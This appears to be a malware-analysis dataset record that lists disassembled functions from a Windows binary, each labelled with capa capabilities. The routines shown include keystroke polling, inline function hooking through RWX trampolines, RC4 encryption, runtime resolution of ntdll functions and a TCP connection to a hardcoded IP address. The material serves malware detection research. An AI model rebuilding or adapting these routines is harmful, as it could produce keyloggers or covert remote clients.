joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a1800
Capabilities:
Encrypt data using rc4 via winapi
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x8003
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov ecx, dword [ebp + 8]
call fcn.1000e770
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
call fcn.1003a690
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10], edx
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x100a185c
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
nop
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
push 0x6801
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x100a1884
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
nop
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x100b2220
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1019c880]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push str._themes.re
lea ecx, [ebp - 0x108]
push ecx
call fcn.1006cb40
add esp, 8
lea edx, [ebp - 0x108]
push edx
push 0
push str.Theme
push str.Themes
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x1019c2a8], eax
push 1
push 0x1016b48c
mov eax, dword [0x101d7658]
push eax
call fcn.100b5c70
add esp, 0xc
push 6
push 0x100b2180
mov ecx, dword [0x101d764c]
push ecx
call fcn.100b58b0
add esp, 0xc
push 7
push 0x100b21d0
mov edx, dword [0x101d766c]
push edx
call fcn.100b58b0
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011118e
mov esp, ebp
pop ebp
ret

Function at 0x100b33a0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [ebp - 4], ax
movsx ecx, word [ebp - 4]
and ecx, 0x8000
je 0x100b33dd
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
test eax, eax
jne 0x100b33d4
mov ecx, dword [ebp + 0xc]
mov byte [ecx], 1
xor eax, eax
jmp 0x100b33fb
mov eax, 2
jmp 0x100b33fb
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
test eax, eax
je 0x100b33f6
mov ecx, dword [ebp + 0xc]
mov byte [ecx], 0
mov eax, 1
jmp 0x100b33fb
mov eax, 3
mov esp, ebp
pop ebp
ret
Function at 0x100b58b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [ebp + 0x10], 5
jge 0x100b58d8
push str.Length_must_be_at_least_5_bytes_to_apply_a_hook.
lea ecx, [ebp - 0x24]
call fcn.1007a030
push 0x10194c5c
lea eax, [ebp - 0x24]
push eax
call fcn.1012f49d
nop
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x10]
add ecx, 5
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100b5913
push str.Failed_to_allocate_memory_for_trampoline.
lea ecx, [ebp - 0x30]
call fcn.1007a030
push 0x10194c5c
lea edx, [ebp - 0x30]
push edx
call fcn.1012f49d
nop
lea eax, [ebp - 0xc]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100b5870
add esp, 0x10
movzx eax, al
test eax, eax
jne 0x100b595e
push 0x8000
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
push str.Failed_to_change_memory_protection.
lea ecx, [ebp - 0x3c]
call fcn.1007a030
push 0x10194c5c
lea edx, [ebp - 0x3c]
push edx
call fcn.1012f49d
nop
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.1012e8f0
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x10]
sub edx, ecx
sub edx, 5
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp + 0x10]
mov byte [eax], 0xe9
mov ecx, dword [ebp - 4]
add ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 1], edx
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sub eax, 5
mov dword [ebp - 0x18], eax
mov ecx, 1
imul edx, ecx, 0
mov eax, dword [ebp + 8]
mov byte [eax + edx], 0xe9
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x18]
mov dword [ecx + 1], edx
mov dword [ebp - 8], 5
jmp 0x100b59d7
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp + 0x10]
jge 0x100b59ea
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov byte [edx], 0x90
jmp 0x100b59ce
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.100b5870
add esp, 0x10
movzx ecx, al
test ecx, ecx
jne 0x100b5a37
push 0x8000
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
nop
push str.Failed_to_restore_memory_protection.
lea ecx, [ebp - 0x48]
call fcn.1007a030
push 0x10194c5c
lea eax, [ebp - 0x48]
push eax
call fcn.1012f49d
nop
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x100b5c70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.1012e8f0
add esp, 0xc
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
mov esp, ebp
pop ebp
ret

Function at 0x100b7c00
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x1016aabc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100b7c28
push 0x1016aabc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100b7c56
push str.Failed_to_load_ntdll.dll
push 0x101d8460
call fcn.100b2b50
add esp, 8
mov dword [ebp - 0xc], eax
push 0x100b2e80
mov ecx, dword [ebp - 0xc]
call fcn.100b2f30
nop
jmp 0x100b7d2c
push str.sfc.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100b7c78
push str.sfc.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
push str.NtQuerySystemInformation
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x101d7aec], eax
push str.NtDuplicateObject
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x101d7af0], eax
push str.NtQueryObject
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x101d7af4], eax
push str.SfcIsFileProtected
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x101d7af8], eax
push str.RtlGetFullPathName_U
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x101d7afc], eax
cmp dword [0x101d7aec], 0
je 0x100b7d09
cmp dword [0x101d7af0], 0
je 0x100b7d09
cmp dword [0x101d7af4], 0
je 0x100b7d09
cmp dword [0x101d7af4], 0
je 0x100b7d09
cmp dword [0x101d7afc], 0
jne 0x100b7d2c
push str.Failed_to_get_function_addresses_from_ntdll.dll
push 0x101d8460
call fcn.100b2b50
add esp, 8
mov dword [ebp - 0x10], eax
push 0x100b2e80
mov ecx, dword [ebp - 0x10]
call fcn.100b2f30
nop
mov esp, ebp
pop ebp
ret
Function at 0x100b8400
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1019c880]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x190
call fcn.1011119c
add esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100b8437
xor al, al
jmp 0x100b84c5
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x100b8450
xor al, al
jmp 0x100b84c5
mov ecx, 2
mov word [ebp - 0x18], cx
push 0x6e05
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x16], ax
lea edx, [ebp - 0x14]
push edx
push str.141.95.72.22
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
je 0x100b8482
xor al, al
jmp 0x100b84c5
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x10]
push edx
call fcn.100b8380
add esp, 0xc
push 0x10
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100b84bb
mov dword [ebp - 0x20], 1
jmp 0x100b84c2
mov dword [ebp - 0x20], 0
mov al, byte [ebp - 0x20]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1011118e
mov esp, ebp
pop ebp
ret
Function at 0x100c4010
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x100c40bf
push esi
call fcn.100d8460
add esp, 4
test al, al
jne 0x100c40bf
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x100c4037
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.100e2fa0
add esp, 0xc
test eax, eax
je 0x100c406b
sub eax, esi
push eax
push 0x2e
push esi
call fcn.100e2fa0
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x100c406d
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
lea ebx, [esi + edi]
mov edi, 0x1505
cmp esi, ebx
jae 0x100c409e
nop dword [eax]
mov al, byte [esi]
push eax
call fcn.100d4000
movsx ecx, al
inc esi
mov eax, edi
add esp, 4
shl eax, 5
add eax, edi
xor ecx, eax
mov edi, ecx
cmp esi, ebx
jb 0x100c4080
mov eax, 0x4104105
mov esi, edi
mul edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov ecx, esi
shl ecx, 6
sub ecx, esi
sub edi, ecx
mov eax, edi
pop edi
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret
Function at 0x100d21f0
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push 0x10172790
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x100d220a
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x1016b708
push esi
call fcn.101425a0
add esp, 8
test eax, eax
je 0x100d2252
test ebp, ebp
je 0x100d2243
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x100d2278
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100d2278
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x100d232f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d2295
sub ecx, ebx
lea eax, [ecx + 1]
add eax, edx
push eax
call dword [0x1019c4a4]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x100d2325
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x100d2325
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d22c7
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100d22e0
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x100d22f0
test ebp, ebp
je 0x100d231c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x1019c4a8]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x1019c4a8]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret
Function at 0x100d8610
Capabilities:
Create udp socket

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x100d864e
mov eax, dword [esi + 0x7c]
cmp byte [eax + 0x104], 0
jne 0x100d863f
push 0
call fcn.100d8610
add esp, 4
test al, al
mov eax, dword [esi + 0x7c]
setne cl
inc cl
mov byte [eax + 0x104], cl
mov eax, dword [esi + 0x7c]
pop esi
cmp byte [eax + 0x104], 2
sete al
ret
push 0
push 2
push 0x17
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
jne 0x100d8663
xor al, al
pop esi
ret
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov al, 1
pop esi
ret
Function at 0x100d93c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x6c
mov eax, dword [0x1019c880]
xor eax, esp
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x70]
push ebp
mov ebp, dword [esp + 0x78]
push edi
xor edi, edi
mov dword [esp + 8], eax
cmp byte [eax + 0x6c3], 0
je 0x100d95a2
cmp byte [ebp + 0x18], 0
push ebx
lea ebx, [ebp + 0x18]
je 0x100d95a1
lea eax, [esp + 0x30]
push eax
push ebx
push 2
call fcn.100e77a0
add esp, 0xc
test eax, eax
jg 0x100d95a1
lea eax, [esp + 0x34]
push eax
push ebx
push 0x17
call fcn.100e77a0
add esp, 0xc
test eax, eax
jg 0x100d95a1
cmp byte [ebx], 0
mov eax, str._none_
push esi
push dword [ebp + 0x14]
mov esi, dword [ebp]
cmovne eax, ebx
mov ebp, dword [esp + 0x14]
push eax
push str.Host__s:_d_was_resolved.
push ebp
call fcn.100cfc70
lea eax, [esp + 0x24]
push 0x400
push eax
call fcn.100c4650
lea eax, [esp + 0x3c]
push 0x400
push eax
call fcn.100c4650
add esp, 0x20
test esi, esi
je 0x100d9514
lea edx, [edi + 0x10]
mov ecx, dword [esi + 4]
cmp ecx, 0x17
je 0x100d9488
cmp ecx, 2
jne 0x100d9509
xor eax, eax
mov byte [esp + 0x48], 0
cmp ecx, 2
lea ebx, [esp + 0x14]
cmovne eax, edx
add ebx, eax
sub ecx, 2
je 0x100d94b7
sub ecx, 0x15
jne 0x100d94cf
push 0x2e
lea eax, [esp + 0x4c]
push eax
mov eax, dword [esi + 0x18]
add eax, 8
push eax
push 0x17
jmp 0x100d94c7
push 0x2e
lea eax, [esp + 0x4c]
push eax
mov eax, dword [esi + 0x18]
add eax, 4
push eax
push 2
call fcn.10102fa0
add esp, 0x10
push ebx
call fcn.100c4670
add esp, 4
test eax, eax
je 0x100d94ee
push 2
push 0x101668a0
push ebx
call fcn.100c4610
add esp, 0xc
mov edi, eax
test edi, edi
jne 0x100d9534
lea eax, [esp + 0x48]
push eax
push ebx
call fcn.100c45b0
mov edi, eax
add esp, 8
test edi, edi
jne 0x100d9534
lea edx, [eax + 0x10]
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x100d9477
lea eax, [esp + 0x24]
push eax
call fcn.100c4670
add esp, 4
test eax, eax
je 0x100d9544
lea eax, [esp + 0x24]
push eax
call fcn.100c4680
add esp, 4
jmp 0x100d9549
push str.too_many_IP__cant_show
push ebp
call fcn.100cfc70
add esp, 8
jmp 0x100d9589
mov eax, str._none_
push eax
push str.IPv6:__s
push ebp
call fcn.100cfc70
lea eax, [esp + 0x20]
push eax
call fcn.100c4670
add esp, 0x10
test eax, eax
je 0x100d9575
lea eax, [esp + 0x14]
push eax
call fcn.100c4680
add esp, 4
jmp 0x100d957a
mov eax, str._none_
push eax
push str.IPv4:__s
push ebp
call fcn.100cfc70
add esp, 0xc
lea eax, [esp + 0x14]
push eax
call fcn.100c4620
lea eax, [esp + 0x28]
push eax
call fcn.100c4620
add esp, 8
pop esi
pop ebx
mov ecx, dword [esp + 0x70]
pop edi
pop ebp
xor ecx, esp
call fcn.1011118e
add esp, 0x6c
ret
Function at 0x100e3700
Capabilities:
Move file

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
call fcn.100c4370
push dword [esp + 0x38]
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x18], xmm0
call fcn.10145b63
push dword [esp + 0x40]
mov edi, eax
call fcn.10145b63
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0xc
mov esi, eax
push 1
push esi
push edi
call ebx
test eax, eax
jne 0x100e3795
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax + eax]
lea eax, [esp + 0x20]
push eax
call fcn.100c4370
movups xmm0, xmmword [esp + 0x14]
sub esp, 0xc
mov ecx, esp
sub esp, 0x10
movups xmmword [ecx], xmm0
mov ecx, esp
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
call fcn.100c4420
add esp, 0x20
test edx, edx
ja 0x100e37b9
jb 0x100e3787
cmp eax, 0x3e8
ja 0x100e37b9
push 1
call ebp
push 1
push esi
push edi
call ebx
test eax, eax
je 0x100e3750
test edi, edi
je 0x100e37a2
push edi
call fcn.10130de0
add esp, 4
test esi, esi
je 0x100e37af
push esi
call fcn.10130de0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
test edi, edi
je 0x100e37c6
push edi
call fcn.10130de0
add esp, 4
test esi, esi
je 0x100e37d3
push esi
call fcn.10130de0
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret
Function at 0x100e3cb0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x20]
push edi
xor edi, edi
mov dword [esp + 0xc], edi
mov dword [eax], edi
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [esp + 4], eax
test eax, eax
jne 0x100e3e3f
push esi
mov esi, dword [esp + 0x14]
test esi, esi
je 0x100e3e2a
push ebx
push ebp
mov eax, dword [esi + 0x14]
test eax, eax
je 0x100e3d0c
lea edx, [eax + 1]
nop dword [eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100e3d00
sub eax, edx
inc eax
jmp 0x100e3d0e
xor eax, eax
mov ecx, dword [esi + 4]
mov dword [esp + 0x14], eax
cmp ecx, 2
jne 0x100e3d1f
lea ebp, [ecx + 0xe]
jmp 0x100e3d2b
cmp ecx, 0x17
jne 0x100e3dcc
lea ebp, [ecx + 5]
cmp dword [esi + 0x18], 0
je 0x100e3dcc
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x100e3dcc
cmp ecx, ebp
jb 0x100e3dcc
add eax, 0x20
add eax, ebp
push eax
call dword [0x1019c4a4]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x100e3e1b
mov ecx, dword [esi]
mov dword [ebx], ecx
mov ecx, dword [esi + 4]
mov dword [ebx + 4], ecx
mov ecx, dword [esi + 8]
mov dword [ebx + 8], ecx
mov eax, dword [esi + 0xc]
mov dword [ebx + 0xc], eax
lea eax, [ebx + 0x20]
push ebp
mov dword [ebx + 0x10], ebp
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x18], eax
push dword [esi + 0x18]
push eax
call fcn.1012e8f0
mov ecx, dword [esp + 0x20]
add esp, 0xc
test ecx, ecx
je 0x100e3db8
mov eax, dword [ebx + 0x18]
add eax, ebp
push ecx
mov dword [ebx + 0x14], eax
push dword [esi + 0x14]
push eax
call fcn.1012e8f0
add esp, 0xc
mov eax, dword [esp + 0x18]
test edi, edi
cmove edi, ebx
test eax, eax
je 0x100e3dc8
mov dword [eax + 0x1c], ebx
mov dword [esp + 0x18], ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x100e3cf2
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0x1c]
pop ebp
pop ebx
test eax, eax
je 0x100e3dec
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
test esi, esi
je 0x100e3e26
test edi, edi
je 0x100e3e0b
mov esi, dword [edi + 0x1c]
push edi
call dword [0x1019c4a8]
add esp, 4
mov edi, esi
test esi, esi
jne 0x100e3df4
mov esi, dword [esp + 8]
mov eax, dword [esp + 0x28]
xor edi, edi
mov dword [eax], edi
mov eax, esi
pop esi
pop edi
add esp, 0x10
ret
mov esi, 8
mov dword [esp + 0x10], esi
jmp 0x100e3ddb
test edi, edi
jne 0x100e3e36
mov esi, 0x2af9
push esi
call dword [sym.imp.WS2_32.dll_WSASetLastError]
mov eax, dword [esp + 0x28]
mov dword [eax], edi
mov eax, esi
pop esi
pop edi
add esp, 0x10
ret

Function at 0x100e4240
Capabilities:
Create thread

Disassembly:
push 0
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push 0
push 0
call fcn.10130fe6
mov ecx, eax
add esp, 0x18
xor eax, eax
test ecx, ecx
je 0x100e4266
cmp ecx, 0xffffffff
cmovne eax, ecx
ret
Function at 0x100e42b0
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov ecx, 0x2b
test edi, edi
je 0x100e4360
mov ebp, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
nop dword [eax]
mov ebx, 4
lea eax, [esp + 0x1c]
push 4
push eax
cmp edi, ebx
push ebp
cmovb ebx, edi
call fcn.100c9f00
add esp, 0xc
cmp eax, 4
je 0x100e42f3
mov ecx, eax
jmp 0x100e431d
cmp byte [0x101d7dcc], 0
jne 0x100e4327
push 2
push 4
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb ecx, ecx
and ecx, 2
mov eax, ecx
test eax, eax
jne 0x100e4362
mov eax, dword [esp + 0x1c]
jmp 0x100e4344
imul eax, dword [0x101d7dc8], 0x41c64e6d
add eax, 0x3039
mov dword [0x101d7dc8], eax
ror eax, 0x10
xor ecx, ecx
mov dword [esp + 0x1c], eax
test ebx, ebx
je 0x100e4358
mov byte [esi], al
dec edi
inc esi
shr eax, 8
sub ebx, 1
jne 0x100e4348
mov dword [esp + 0x1c], eax
test edi, edi
jne 0x100e42d0
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x100e4370
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
sub ebx, 1
je 0x100e43eb
mov esi, dword [esp + 0x14]
mov ebp, 0x3e
nop word [eax + eax]
push 4
lea eax, [esp + 0x20]
push eax
push esi
call fcn.100c9f00
add esp, 0xc
cmp eax, 4
jne 0x100e43cc
cmp byte [0x101d7dcc], 0
jne 0x100e43f5
push 2
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0
push eax
push 0
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
test eax, eax
jne 0x100e43f0
mov eax, dword [esp + 0x1c]
cmp eax, 0xfffffffc
jae 0x100e4390
xor edx, edx
div ebp
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789]
mov byte [edi], al
inc edi
sub ebx, 1
jne 0x100e4390
mov byte [edi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
imul eax, dword [0x101d7dc8], 0x41c64e6d
add eax, 0x3039
mov dword [0x101d7dc8], eax
ror eax, 0x10
mov dword [esp + 0x1c], eax
jmp 0x100e43d4

Function at 0x100e4420
Capabilities:
Generate random numbers via winapi

Disassembly:
push dword [esp + 8]
push 0
push dword [esp + 0xc]
call fcn.1012ee70
add esp, 0xc
push 2
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
ret